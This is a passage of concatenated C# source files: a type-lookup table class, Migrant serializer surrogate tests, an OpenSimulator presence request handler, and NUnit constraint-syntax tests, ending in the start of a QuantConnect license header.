ErrorType result;
if (_pErrorWithNamespaceParentTable.TryGetValue(key, out result))
{
return result;
}
return null;
}
public void InsertError(Name pName, CType pParentType, ErrorType pError)
{
Debug.Assert(LookupError(pName, pParentType) == null);
_pErrorWithTypeParentTable.Add(new KeyPair<CType, Name>(pParentType, pName), pError);
}
public void InsertError(Name pName, AssemblyQualifiedNamespaceSymbol pParentNS, ErrorType pError)
{
Debug.Assert(LookupError(pName, pParentNS) == null);
_pErrorWithNamespaceParentTable.Add(new KeyPair<AssemblyQualifiedNamespaceSymbol, Name>(pParentNS, pName), pError);
}
public ArrayType LookupArray(Name pName, CType pElementType)
{
var key = new KeyPair<CType, Name>(pElementType, pName);
ArrayType result;
if (_pArrayTable.TryGetValue(key, out result))
{
return result;
}
return null;
}
public void InsertArray(Name pName, CType pElementType, ArrayType pArray)
{
Debug.Assert(LookupArray(pName, pElementType) == null);
_pArrayTable.Add(new KeyPair<CType, Name>(pElementType, pName), pArray);
}
public ParameterModifierType LookupParameterModifier(Name pName, CType pElementType)
{
var key = new KeyPair<CType, Name>(pElementType, pName);
ParameterModifierType result;
if (_pParameterModifierTable.TryGetValue(key, out result))
{
return result;
}
return null;
}
public void InsertParameterModifier(
Name pName,
CType pElementType,
ParameterModifierType pParameterModifier)
{
Debug.Assert(LookupParameterModifier(pName, pElementType) == null);
_pParameterModifierTable.Add(new KeyPair<CType, Name>(pElementType, pName), pParameterModifier);
}
public PointerType LookupPointer(CType pElementType)
{
PointerType result;
if (_pPointerTable.TryGetValue(pElementType, out result))
{
return result;
}
return null;
}
public void InsertPointer(CType pElementType, PointerType pPointer)
{
_pPointerTable.Add(pElementType, pPointer);
}
public NullableType LookupNullable(CType pUnderlyingType)
{
NullableType result;
if (_pNullableTable.TryGetValue(pUnderlyingType, out result))
{
return result;
}
return null;
}
public void InsertNullable(CType pUnderlyingType, NullableType pNullable)
{
_pNullableTable.Add(pUnderlyingType, pNullable);
}
public TypeParameterType LookupTypeParameter(TypeParameterSymbol pTypeParameterSymbol)
{
TypeParameterType result;
if (_pTypeParameterTable.TryGetValue(pTypeParameterSymbol, out result))
{
return result;
}
return null;
}
public void InsertTypeParameter(
TypeParameterSymbol pTypeParameterSymbol,
TypeParameterType pTypeParameter)
{
_pTypeParameterTable.Add(pTypeParameterSymbol, pTypeParameter);
}
}
}
| |
//
// Copyright (c) 2012-2021 Antmicro
//
// This file is licensed under the MIT License.
// Full license text is available in the LICENSE file.
using System;
using NUnit.Framework;
using System.IO;
using Antmicro.Migrant;
using System.Collections.Generic;
using System.Reflection;
namespace Antmicro.Migrant.Tests
{
[TestFixture(false, false, true)]
[TestFixture(true, false, true)]
[TestFixture(false, true, true)]
[TestFixture(true, true, true)]
[TestFixture(false, false, false)]
[TestFixture(true, false, false)]
[TestFixture(false, true, false)]
[TestFixture(true, true, false)]
public class SurrogateTests : BaseTestWithSettings
{
public SurrogateTests(bool useGeneratedSerializer, bool useGeneratedDeserializer, bool useTypeStamping) : base(useGeneratedSerializer, useGeneratedDeserializer, false, false, false, useTypeStamping, true)
{
}
[Test]
public void ShouldPlaceObjectForSurrogate()
{
var b = new SurrogateMockB();
var pseudocopy = PseudoClone(b, serializer =>
{
serializer.ForSurrogate<SurrogateMockB>().SetObject(x => new SurrogateMockA(999));
});
var a = pseudocopy as SurrogateMockA;
Assert.IsNotNull(a);
Assert.AreEqual(999, a.Field);
}
[Test]
public void ShouldPlaceObjectForSurrogatePreservingIdentity()
{
var b = new SurrogateMockB();
var list = new List<object> { b, new List<object> { b }, new SurrogateMockB() };
var counter = 0;
var pseudocopy = PseudoClone(list, serializer =>
{
serializer.ForSurrogate<SurrogateMockB>().SetObject(x => new SurrogateMockA(counter++));
});
list = pseudocopy as List<object>;
Assert.IsNotNull(list);
var sublist = list[1] as List<object>;
Assert.IsNotNull(sublist);
Assert.AreSame(list[0], sublist[0]);
Assert.AreNotSame(list[0], list[2]);
var a = list[0] as SurrogateMockA;
Assert.IsNotNull(a);
Assert.AreEqual(3, a.Field);
var secondA = list[2] as SurrogateMockA;
Assert.IsNotNull(secondA);
Assert.AreEqual(2, secondA.Field);
}
[Test]
public void ShouldPlaceSurrogateForObject()
{
var b = new SurrogateMockB();
var pseudocopy = PseudoClone(b, serializer =>
{
serializer.ForObject<SurrogateMockB>().SetSurrogate(x => new SurrogateMockA(1));
});
var a = pseudocopy as SurrogateMockA;
Assert.IsNotNull(a);
Assert.AreEqual(1, a.Field);
}
[Test]
public void ShouldPlaceSurrogateForObjectPreservingIdentity()
{
var b = new SurrogateMockB();
var counter = 0;
var list = new List<object> { b, new SurrogateMockB(), b };
var pseudocopy = PseudoClone(list, serializer =>
{
serializer.ForObject<SurrogateMockB>().SetSurrogate(x => new SurrogateMockA(counter++));
});
list = pseudocopy as List<object>;
Assert.IsNotNull(list);
Assert.AreSame(list[0], list[2]);
Assert.AreNotSame(list[0], list[1]);
var a = list[0] as SurrogateMockA;
Assert.IsNotNull(a);
Assert.AreEqual(counter - 2, a.Field);
var secondA = list[1] as SurrogateMockA;
Assert.IsNotNull(secondA);
Assert.AreEqual(counter - 1, secondA.Field);
}
[Test]
public void ShouldAllowBoxedValueTypeSurrogation()
{
int a = 199;
var pseudocopy = PseudoClone(a, serializer =>
{
serializer.ForObject<int>().SetSurrogate(x => new IntSurrogate(x));
serializer.ForSurrogate<IntSurrogate>().SetObject(x => (object)(x.cwi.field));
});
var b = pseudocopy as object;
Assert.AreEqual(299, b);
}
private class ClassWithInteger
{
public int field;
}
private class IntSurrogate
{
public IntSurrogate(int value)
{
cwi = new ClassWithInteger { field = value + 100 };
}
public ClassWithInteger cwi;
}
[Test]
public void ShouldDoSurrogateObjectSwap()
{
var b = new SurrogateMockB();
var pseudocopy = PseudoClone(b, serializer =>
{
serializer.ForObject<SurrogateMockB>().SetSurrogate(x => new SurrogateMockA(1));
serializer.ForSurrogate<SurrogateMockA>().SetObject(x => new SurrogateMockC());
});
var c = pseudocopy as SurrogateMockC;
Assert.IsNotNull(c);
}
[Test]
public void ShouldPlaceObjectForDerivedSurrogate()
{
var d = new SurrogateMockD();
var pseudocopy = PseudoClone(d, serializer =>
{
serializer.ForSurrogate<SurrogateMockC>().SetObject(x => new SurrogateMockB());
});
var b = pseudocopy as SurrogateMockB;
Assert.IsNotNull(b);
}
[Test]
public void ShouldPlaceSurrogateForDerivedObject()
{
var d = new SurrogateMockD();
var pseudocopy = PseudoClone(d, serializer =>
{
serializer.ForObject<SurrogateMockC>().SetSurrogate(x => new SurrogateMockB());
});
var b = pseudocopy as SurrogateMockB;
Assert.IsNotNull(b);
}
[Test]
public void ShouldPlaceObjectForSurrogateImplementingInterface()
{
var e = new SurrogateMockE();
var pseudocopy = PseudoClone(e, serializer =>
{
serializer.ForSurrogate<ISurrogateMockE>().SetObject(x => new SurrogateMockB());
});
var b = pseudocopy as SurrogateMockB;
Assert.IsNotNull(b);
}
[Test]
public void ShouldPlaceSurrogateForObjectImplementingInterface()
{
var e = new SurrogateMockE();
var pseudocopy = PseudoClone(e, serializer =>
{
serializer.ForObject<ISurrogateMockE>().SetSurrogate(x => new SurrogateMockB());
});
var b = pseudocopy as SurrogateMockB;
Assert.IsNotNull(b);
}
[Test]
public void ShouldUseMoreSpecificSurrogateIfPossible()
{
var mock = new SurrogateMockD();
var pseudocopy = PseudoClone(mock, serializer =>
{
serializer.ForObject<SurrogateMockC>().SetSurrogate(x => new SurrogateMockA(1));
serializer.ForObject<SurrogateMockD>().SetSurrogate(x => new SurrogateMockB());
});
var b = pseudocopy as SurrogateMockB;
Assert.IsNotNull(b);
}
[Test]
public void ShouldThrowWhenSettingSurrogatesAfterSerialization()
{
var serializer = new Serializer(GetSettings());
serializer.Serialize(new object(), Stream.Null);
Assert.Throws<InvalidOperationException>(() => serializer.ForObject<object>().SetSurrogate(x => new object()));
}
[Test]
public void ShouldThrowWhenSettingObjectForSurrogateAfterDeserialization()
{
var serializer = new Serializer(GetSettings());
var stream = new MemoryStream();
serializer.Serialize(new object(), stream);
stream.Seek(0, SeekOrigin.Begin);
serializer.Deserialize<object>(stream);
Assert.Throws<InvalidOperationException>(() => serializer.ForSurrogate<object>().SetObject(x => new object()));
}
[Test]
public void ShouldDoSurrogateObjectSwapTwoTimes()
{
var b = new SurrogateMockB();
var serializer = new Serializer(GetSettings());
serializer.ForObject<SurrogateMockB>().SetSurrogate(x => new SurrogateMockA(1));
serializer.ForSurrogate<SurrogateMockA>().SetObject(x => new SurrogateMockC());
for(var i = 0; i < 2; i++)
{
using(var stream = new MemoryStream())
{
serializer.Serialize(b, stream);
stream.Seek(0, SeekOrigin.Begin);
var pseudocopy = serializer.Deserialize<object>(stream);
var c = pseudocopy as SurrogateMockC;
Assert.IsNotNull(c);
}
}
}
[Test]
public void ShouldUseSurrogateAddedFirstWhenBothMatch()
{
var h = new SurrogateMockH();
var pseudocopy = PseudoClone(h, serializer =>
{
serializer.ForObject<ISurrogateMockG>().SetSurrogate(x => "g");
serializer.ForObject<ISurrogateMockE>().SetSurrogate(x => "e");
});
Assert.AreEqual("g", pseudocopy);
}
[Test]
public void ShouldSwapGenericSurrogateWithObject()
{
var f = new SurrogateMockF<string>("test");
var pseudocopy = PseudoClone(f, serializer => serializer.ForObject(typeof(SurrogateMockF<>)).SetSurrogate(x =>
{
var type = x.GetType();
return type.GetFields(BindingFlags.NonPublic | BindingFlags.Instance)[0].GetValue(x);
}));
Assert.IsInstanceOf<string>(pseudocopy);
}
[Test]
public void ShouldSwapWithNonGenericSurrogate()
{
var f = new SurrogateMockF<string>("test");
var pseudocopy = PseudoClone(f, serializer =>
{
serializer.ForObject(typeof(SurrogateMockF<>)).SetSurrogate(x => "general");
serializer.ForObject<SurrogateMockF<string>>().SetSurrogate(x => "special");
});
Assert.AreEqual("special", pseudocopy);
}
[Test]
public void ShouldUseGenericBaseSurrogateForDerivedClass()
{
var i = new SurrogateMockI<string>("something");
var pseudocopy = PseudoClone(i, serializer =>
serializer.ForObject(typeof(SurrogateMockF<>)).SetSurrogate(x => "success"));
Assert.AreEqual("success", pseudocopy);
}
[Test]
public void ShouldUseMoreSpecificGenericSurrogateIfPossible()
{
var i = new SurrogateMockI<string>("something");
var pseudocopy = PseudoClone(i, serializer =>
{
serializer.ForObject(typeof(SurrogateMockF<>)).SetSurrogate(x => "fail");
serializer.ForObject(typeof(SurrogateMockI<>)).SetSurrogate(x => "success");
});
Assert.AreEqual("success", pseudocopy);
}
[Test]
public void ShouldTreatNullAsDontSurrogateThisType()
{
var d = new SurrogateMockD();
var pseudocopy = PseudoClone(d, serializer =>
{
serializer.ForObject(typeof(SurrogateMockC)).SetSurrogate(x => "fail");
serializer.ForObject(typeof(SurrogateMockD)).SetSurrogate(null);
});
Assert.IsInstanceOf<SurrogateMockD>(pseudocopy);
}
[Test]
public void ShouldDeserializeSurrogatePointingToItself()
{
var obj = new object();
var pseudocopy = PseudoClone(obj, serializer =>
{
serializer.ForSurrogate(typeof(object)).SetObject(x =>
{
var j = new SurrogateMockJ();
j.field = j;
return j;
});
});
Assert.IsInstanceOf<SurrogateMockJ>(pseudocopy);
Assert.AreEqual(pseudocopy, ((SurrogateMockJ)pseudocopy).field);
}
[Test]
public void ShouldNotGenerateGenericSurrogateTwice()
{
var d = new ClassWithGenericSurrogates();
Serializer serializerInstance = null;
int surrogatesBeforeSerialization = 0;
var pseudocopy = PseudoClone(d, serializer =>
{
serializer.ForObject(typeof(ClassToBeSurrogated<>)).SetSurrogateGenericType(typeof(SurrogatingClass<>));
serializerInstance = serializer;
surrogatesBeforeSerialization = serializer.surrogatesForObjects.Count;
});
Assert.IsInstanceOf<ClassWithGenericSurrogates>(pseudocopy);
Assert.IsInstanceOf<SurrogatingClass<int>>(((ClassWithGenericSurrogates)pseudocopy).fieldA);
Assert.IsInstanceOf<SurrogatingClass<float>>(((ClassWithGenericSurrogates)pseudocopy).fieldB);
Assert.IsInstanceOf<SurrogatingClass<int>>(((ClassWithGenericSurrogates)pseudocopy).fieldC);
Assert.AreEqual(useGeneratedSerializer ? 2 : 0, serializerInstance.surrogatesForObjects.Count - surrogatesBeforeSerialization);
}
private class ClassWithGenericSurrogates
{
internal object fieldA = new ClassToBeSurrogated<int>();
internal object fieldB = new ClassToBeSurrogated<float>();
internal object fieldC = new ClassToBeSurrogated<int>();
}
private class ClassToBeSurrogated<T>
{
}
private class SurrogatingClass<T>
{
public SurrogatingClass(ClassToBeSurrogated<T> x)
{
}
}
}
public class SurrogateMockA
{
public SurrogateMockA(int field)
{
Field = field;
}
public int Field { get; private set; }
}
public class SurrogateMockB
{
}
public class SurrogateMockC
{
}
public class SurrogateMockD : SurrogateMockC
{
}
public interface ISurrogateMockE
{
}
public class SurrogateMockE : ISurrogateMockE
{
}
public class SurrogateMockF<T>
{
public SurrogateMockF(T value)
{
Value = value;
}
public T Value { get; private set; }
}
public interface ISurrogateMockG
{
}
public class SurrogateMockH : ISurrogateMockE, ISurrogateMockG
{
}
public class SurrogateMockI<T> : SurrogateMockF<T>
{
public SurrogateMockI(T value) : base(value)
{
}
}
public class SurrogateMockJ
{
public SurrogateMockJ field;
}
}
| |
/*
* Copyright (c) Contributors, http://opensimulator.org/
* See CONTRIBUTORS.TXT for a full list of copyright holders.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the OpenSimulator Project nor the
* names of its contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE DEVELOPERS ``AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE CONTRIBUTORS BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
using Nini.Config;
using log4net;
using System;
using System.Reflection;
using System.IO;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;
using System.Xml;
using System.Xml.Serialization;
using System.Collections.Generic;
using OpenSim.Server.Base;
using OpenSim.Services.Interfaces;
using OpenSim.Framework;
using OpenSim.Framework.Servers.HttpServer;
using OpenMetaverse;
namespace OpenSim.Server.Handlers.Presence
{
public class PresenceServerPostHandler : BaseStreamHandler
{
private static readonly ILog m_log = LogManager.GetLogger(MethodBase.GetCurrentMethod().DeclaringType);
private IPresenceService m_PresenceService;
public PresenceServerPostHandler(IPresenceService service) :
base("POST", "/presence")
{
m_PresenceService = service;
}
public override byte[] Handle(string path, Stream requestData,
OSHttpRequest httpRequest, OSHttpResponse httpResponse)
{
StreamReader sr = new StreamReader(requestData);
string body = sr.ReadToEnd();
sr.Close();
body = body.Trim();
//m_log.DebugFormat("[XXX]: query String: {0}", body);
string method = string.Empty;
try
{
Dictionary<string, object> request =
ServerUtils.ParseQueryString(body);
if (!request.ContainsKey("METHOD"))
return FailureResult();
method = request["METHOD"].ToString();
switch (method)
{
case "login":
return LoginAgent(request);
case "logout":
return LogoutAgent(request);
case "logoutregion":
return LogoutRegionAgents(request);
case "report":
return Report(request);
case "getagent":
return GetAgent(request);
case "getagents":
return GetAgents(request);
}
m_log.DebugFormat("[PRESENCE HANDLER]: unknown method request: {0}", method);
}
catch (Exception e)
{
m_log.DebugFormat("[PRESENCE HANDLER]: Exception in method {0}: {1}", method, e);
}
return FailureResult();
}
byte[] LoginAgent(Dictionary<string, object> request)
{
string user = String.Empty;
UUID session = UUID.Zero;
UUID ssession = UUID.Zero;
if (!request.ContainsKey("UserID") || !request.ContainsKey("SessionID"))
return FailureResult();
user = request["UserID"].ToString();
if (!UUID.TryParse(request["SessionID"].ToString(), out session))
return FailureResult();
if (request.ContainsKey("SecureSessionID"))
// If it's malformed, we go on with a Zero on it
UUID.TryParse(request["SecureSessionID"].ToString(), out ssession);
if (m_PresenceService.LoginAgent(user, session, ssession))
return SuccessResult();
return FailureResult();
}
byte[] LogoutAgent(Dictionary<string, object> request)
{
UUID session = UUID.Zero;
Vector3 position = Vector3.Zero;
Vector3 lookat = Vector3.Zero;
if (!request.ContainsKey("SessionID"))
return FailureResult();
if (!UUID.TryParse(request["SessionID"].ToString(), out session))
return FailureResult();
if (m_PresenceService.LogoutAgent(session))
return SuccessResult();
return FailureResult();
}
byte[] LogoutRegionAgents(Dictionary<string, object> request)
{
UUID region = UUID.Zero;
if (!request.ContainsKey("RegionID"))
return FailureResult();
if (!UUID.TryParse(request["RegionID"].ToString(), out region))
return FailureResult();
if (m_PresenceService.LogoutRegionAgents(region))
return SuccessResult();
return FailureResult();
}
byte[] Report(Dictionary<string, object> request)
{
UUID session = UUID.Zero;
UUID region = UUID.Zero;
if (!request.ContainsKey("SessionID") || !request.ContainsKey("RegionID"))
return FailureResult();
if (!UUID.TryParse(request["SessionID"].ToString(), out session))
return FailureResult();
if (!UUID.TryParse(request["RegionID"].ToString(), out region))
return FailureResult();
if (m_PresenceService.ReportAgent(session, region))
{
return SuccessResult();
}
return FailureResult();
}
byte[] GetAgent(Dictionary<string, object> request)
{
UUID session = UUID.Zero;
if (!request.ContainsKey("SessionID"))
return FailureResult();
if (!UUID.TryParse(request["SessionID"].ToString(), out session))
return FailureResult();
PresenceInfo pinfo = m_PresenceService.GetAgent(session);
Dictionary<string, object> result = new Dictionary<string, object>();
if (pinfo == null)
result["result"] = "null";
else
result["result"] = pinfo.ToKeyValuePairs();
string xmlString = ServerUtils.BuildXmlResponse(result);
//m_log.DebugFormat("[GRID HANDLER]: resp string: {0}", xmlString);
UTF8Encoding encoding = new UTF8Encoding();
return encoding.GetBytes(xmlString);
}
byte[] GetAgents(Dictionary<string, object> request)
{
string[] userIDs;
if (!request.ContainsKey("uuids"))
{
m_log.DebugFormat("[PRESENCE HANDLER]: GetAgents called without required uuids argument");
return FailureResult();
}
if (!(request["uuids"] is List<string>))
{
m_log.DebugFormat("[PRESENCE HANDLER]: GetAgents input argument was of unexpected type {0}", request["uuids"].GetType().ToString());
return FailureResult();
}
userIDs = ((List<string>)request["uuids"]).ToArray();
PresenceInfo[] pinfos = m_PresenceService.GetAgents(userIDs);
Dictionary<string, object> result = new Dictionary<string, object>();
if ((pinfos == null) || ((pinfos != null) && (pinfos.Length == 0)))
result["result"] = "null";
else
{
int i = 0;
foreach (PresenceInfo pinfo in pinfos)
{
Dictionary<string, object> rinfoDict = pinfo.ToKeyValuePairs();
result["presence" + i] = rinfoDict;
i++;
}
}
string xmlString = ServerUtils.BuildXmlResponse(result);
//m_log.DebugFormat("[GRID HANDLER]: resp string: {0}", xmlString);
UTF8Encoding encoding = new UTF8Encoding();
return encoding.GetBytes(xmlString);
}
private byte[] SuccessResult()
{
XmlDocument doc = new XmlDocument();
XmlNode xmlnode = doc.CreateNode(XmlNodeType.XmlDeclaration,
"", "");
doc.AppendChild(xmlnode);
XmlElement rootElement = doc.CreateElement("", "ServerResponse",
"");
doc.AppendChild(rootElement);
XmlElement result = doc.CreateElement("", "result", "");
result.AppendChild(doc.CreateTextNode("Success"));
rootElement.AppendChild(result);
return DocToBytes(doc);
}
private byte[] FailureResult()
{
XmlDocument doc = new XmlDocument();
XmlNode xmlnode = doc.CreateNode(XmlNodeType.XmlDeclaration,
"", "");
doc.AppendChild(xmlnode);
XmlElement rootElement = doc.CreateElement("", "ServerResponse",
"");
doc.AppendChild(rootElement);
XmlElement result = doc.CreateElement("", "result", "");
result.AppendChild(doc.CreateTextNode("Failure"));
rootElement.AppendChild(result);
return DocToBytes(doc);
}
private byte[] DocToBytes(XmlDocument doc)
{
MemoryStream ms = new MemoryStream();
XmlTextWriter xw = new XmlTextWriter(ms, null);
xw.Formatting = Formatting.Indented;
doc.WriteTo(xw);
xw.Flush();
return ms.ToArray();
}
}
}
| |
// ***********************************************************************
// Copyright (c) 2009 Charlie Poole, Rob Prouse
//
// Permission is hereby granted, free of charge, to any person obtaining
// a copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to
// permit persons to whom the Software is furnished to do so, subject to
// the following conditions:
//
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
// ***********************************************************************
using System;
namespace NUnit.Framework.Syntax
{
#region Not
public class NotTest : SyntaxTest
{
[SetUp]
public void SetUp()
{
ParseTree = "<not <null>>";
StaticSyntax = Is.Not.Null;
BuilderSyntax = Builder().Not.Null;
}
}
public class NotTest_Cascaded : SyntaxTest
{
[SetUp]
public void SetUp()
{
ParseTree = "<not <not <not <null>>>>";
StaticSyntax = Is.Not.Not.Not.Null;
BuilderSyntax = Builder().Not.Not.Not.Null;
}
}
#endregion
#region All
public class AllTest : SyntaxTest
{
[SetUp]
public void SetUp()
{
ParseTree = "<all <greaterthan 0>>";
StaticSyntax = Is.All.GreaterThan(0);
BuilderSyntax = Builder().All.GreaterThan(0);
}
}
#endregion
#region Some
public class SomeTest : SyntaxTest
{
[SetUp]
public void SetUp()
{
ParseTree = "<some <equal 3>>";
StaticSyntax = Has.Some.EqualTo(3);
BuilderSyntax = Builder().Some.EqualTo(3);
}
}
public class SomeTest_BeforeBinaryOperators : SyntaxTest
{
[SetUp]
public void SetUp()
{
ParseTree = "<some <or <and <greaterthan 0> <lessthan 100>> <equal 999>>>";
StaticSyntax = Has.Some.GreaterThan(0).And.LessThan(100).Or.EqualTo(999);
BuilderSyntax = Builder().Some.GreaterThan(0).And.LessThan(100).Or.EqualTo(999);
}
}
public class SomeTest_NestedSome : SyntaxTest
{
[SetUp]
public void SetUp()
{
ParseTree = "<some <some <lessthan 100>>>";
StaticSyntax = Has.Some.With.Some.LessThan(100);
BuilderSyntax = Builder().Some.With.Some.LessThan(100);
}
}
public class SomeTest_UseOfAndSome : SyntaxTest
{
[SetUp]
public void SetUp()
{
ParseTree = "<and <some <greaterthan 0>> <some <lessthan 100>>>";
StaticSyntax = Has.Some.GreaterThan(0).And.Some.LessThan(100);
BuilderSyntax = Builder().Some.GreaterThan(0).And.Some.LessThan(100);
}
}
#endregion
#region None
public class NoneTest : SyntaxTest
{
[SetUp]
public void SetUp()
{
ParseTree = "<none <lessthan 0>>";
StaticSyntax = Has.None.LessThan(0);
BuilderSyntax = Builder().None.LessThan(0);
}
}
#endregion
#region Exactly
public class Exactly_WithoutConstraint : SyntaxTest
{
[SetUp]
public void SetUp()
{
ParseTree = "<exactcount>";
StaticSyntax = Has.Exactly(3).Items;
BuilderSyntax = Builder().Exactly(3).Items;
}
}
public class Exactly_WithConstraint : SyntaxTest
{
[SetUp]
public void SetUp()
{
ParseTree = "<exactcount <lessthan 0>>";
StaticSyntax = Has.Exactly(3).Items.LessThan(0);
BuilderSyntax = Builder().Exactly(3).Items.LessThan(0);
}
}
public class Exactly_WithConstraint_BeforeBinaryOperators : SyntaxTest
{
[SetUp]
public void SetUp()
{
ParseTree = "<exactcount <or <lessthan 0> <and <greaterthan 10> <lessthan 20>>>>";
StaticSyntax = Has.Exactly(3).Items.LessThan(0).Or.GreaterThan(10).And.LessThan(20);
BuilderSyntax = Builder().Exactly(3).Items.LessThan(0).Or.GreaterThan(10).And.LessThan(20);
}
}
public class Exactly_WithConstraint_BeforeAndAfterBinaryOperators : SyntaxTest
{
[SetUp]
public void SetUp()
{
ParseTree = "<and <exactcount <lessthan 0>> <exactcount <greaterthan 10>>>";
StaticSyntax = Has.Exactly(3).Items.LessThan(0).And.Exactly(3).Items.GreaterThan(10);
BuilderSyntax = Builder().Exactly(3).Items.LessThan(0).And.Exactly(3).Items.GreaterThan(10);
}
}
#endregion
#region One
public class One_WithoutConstraint : SyntaxTest
{
[SetUp]
public void SetUp()
{
ParseTree = "<exactcount>";
StaticSyntax = Has.One.Items;
BuilderSyntax = Builder().One.Items;
}
}
public class One_WithConstraint : SyntaxTest
{
[SetUp]
public void SetUp()
{
ParseTree = "<exactcount <lessthan 0>>";
StaticSyntax = Has.One.Items.LessThan(0);
BuilderSyntax = Builder().One.Items.LessThan(0);
}
}
public class One_WithConstraint_BeforeBinaryOperators : SyntaxTest
{
[SetUp]
public void SetUp()
{
ParseTree = "<exactcount <or <lessthan 0> <and <greaterthan 10> <lessthan 20>>>>";
StaticSyntax = Has.One.Items.LessThan(0).Or.GreaterThan(10).And.LessThan(20);
BuilderSyntax = Builder().One.Items.LessThan(0).Or.GreaterThan(10).And.LessThan(20);
}
}
public class One_WithConstraint_BeforeAndAfterBinaryOperators : SyntaxTest
{
[SetUp]
public void SetUp()
{
ParseTree = "<and <exactcount <lessthan 0>> <exactcount <greaterthan 10>>>";
StaticSyntax = Has.One.Items.LessThan(0).And.One.Items.GreaterThan(10);
BuilderSyntax = Builder().One.Items.LessThan(0).And.One.Items.GreaterThan(10);
}
}
#endregion
#region And
public class AndTest : SyntaxTest
{
[SetUp]
public void SetUp()
{
ParseTree = "<and <greaterthan 5> <lessthan 10>>";
StaticSyntax = Is.GreaterThan(5).And.LessThan(10);
BuilderSyntax = Builder().GreaterThan(5).And.LessThan(10);
}
}
public class AndTest_ThreeAndsWithNot : SyntaxTest
{
[SetUp]
public void SetUp()
{
ParseTree = "<and <not <null>> <and <not <lessthan 5>> <not <greaterthan 10>>>>";
StaticSyntax = Is.Not.Null.And.Not.LessThan(5).And.Not.GreaterThan(10);
BuilderSyntax = Builder().Not.Null.And.Not.LessThan(5).And.Not.GreaterThan(10);
}
}
#endregion
#region Or
public class OrTest : SyntaxTest
{
[SetUp]
public void SetUp()
{
ParseTree = "<or <lessthan 5> <greaterthan 10>>";
StaticSyntax = Is.LessThan(5).Or.GreaterThan(10);
BuilderSyntax = Builder().LessThan(5).Or.GreaterThan(10);
}
}
public class OrTest_ThreeOrs : SyntaxTest
{
[SetUp]
public void SetUp()
{
ParseTree = "<or <lessthan 5> <or <greaterthan 10> <equal 7>>>";
StaticSyntax = Is.LessThan(5).Or.GreaterThan(10).Or.EqualTo(7);
BuilderSyntax = Builder().LessThan(5).Or.GreaterThan(10).Or.EqualTo(7);
}
}
#endregion
#region Binary Operator Precedence
public class AndIsEvaluatedBeforeFollowingOr : SyntaxTest
{
[SetUp]
public void SetUp()
{
ParseTree = "<or <and <lessthan 100> <greaterthan 0>> <equal 999>>";
StaticSyntax = Is.LessThan(100).And.GreaterThan(0).Or.EqualTo(999);
BuilderSyntax = Builder().LessThan(100).And.GreaterThan(0).Or.EqualTo(999);
}
}
public class AndIsEvaluatedBeforePrecedingOr : SyntaxTest
{
[SetUp]
public void SetUp()
{
ParseTree = "<or <equal 999> <and <greaterthan 0> <lessthan 100>>>";
StaticSyntax = Is.EqualTo(999).Or.GreaterThan(0).And.LessThan(100);
BuilderSyntax = Builder().EqualTo(999).Or.GreaterThan(0).And.LessThan(100);
}
}
#endregion
public class OperatorPrecedenceTests
{
class A
{
B B
{
get { return new B(); }
}
string X
{
get { return "X in A"; }
}
string Y
{
get { return "Y in A"; }
}
}
class B
{
string X
{
get { return "X in B"; }
}
string Y
{
get { return "Y in B"; }
}
}
[Test]
public void WithTests()
{
A a = new A();
Assert.That(a, Has.Property("X").EqualTo("X in A")
.And.Property("Y").EqualTo("Y in A"));
Assert.That(a, Has.Property("X").EqualTo("X in A")
.And.Property("B").Property("X").EqualTo("X in B"));
Assert.That(a, Has.Property("X").EqualTo("X in A")
.And.Property("B").With.Property("X").EqualTo("X in B"));
Assert.That(a, Has.Property("B").Property("X").EqualTo("X in B")
.And.Property("B").Property("Y").EqualTo("Y in B"));
Assert.That(a, Has.Property("B").Property("X").EqualTo("X in B")
.And.Property("B").With.Property("Y").EqualTo("Y in B"));
Assert.That(a, Has.Property("B").With.Property("X").EqualTo("X in B")
.And.Property("Y").EqualTo("Y in B"));
}
[Test]
public void SomeTests()
{
string[] array = new string[] { "a", "aa", "x", "xy", "xyz" };
//Assert.That(array, Has.Some.StartsWith("a").And.Some.Length.EqualTo(3));
Assert.That(array, Has.None.StartsWith("a").And.Length.EqualTo(3));
Assert.That(array, Has.Some.StartsWith("x").And.Length.EqualTo(3));
}
}
}
| |
/*
* QUANTCONNECT.COM - Democratizing Finance, Empowering Individuals.
* Lean Algorithmic Trading Engine v2.0. Copyright 2014 QuantConnect Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
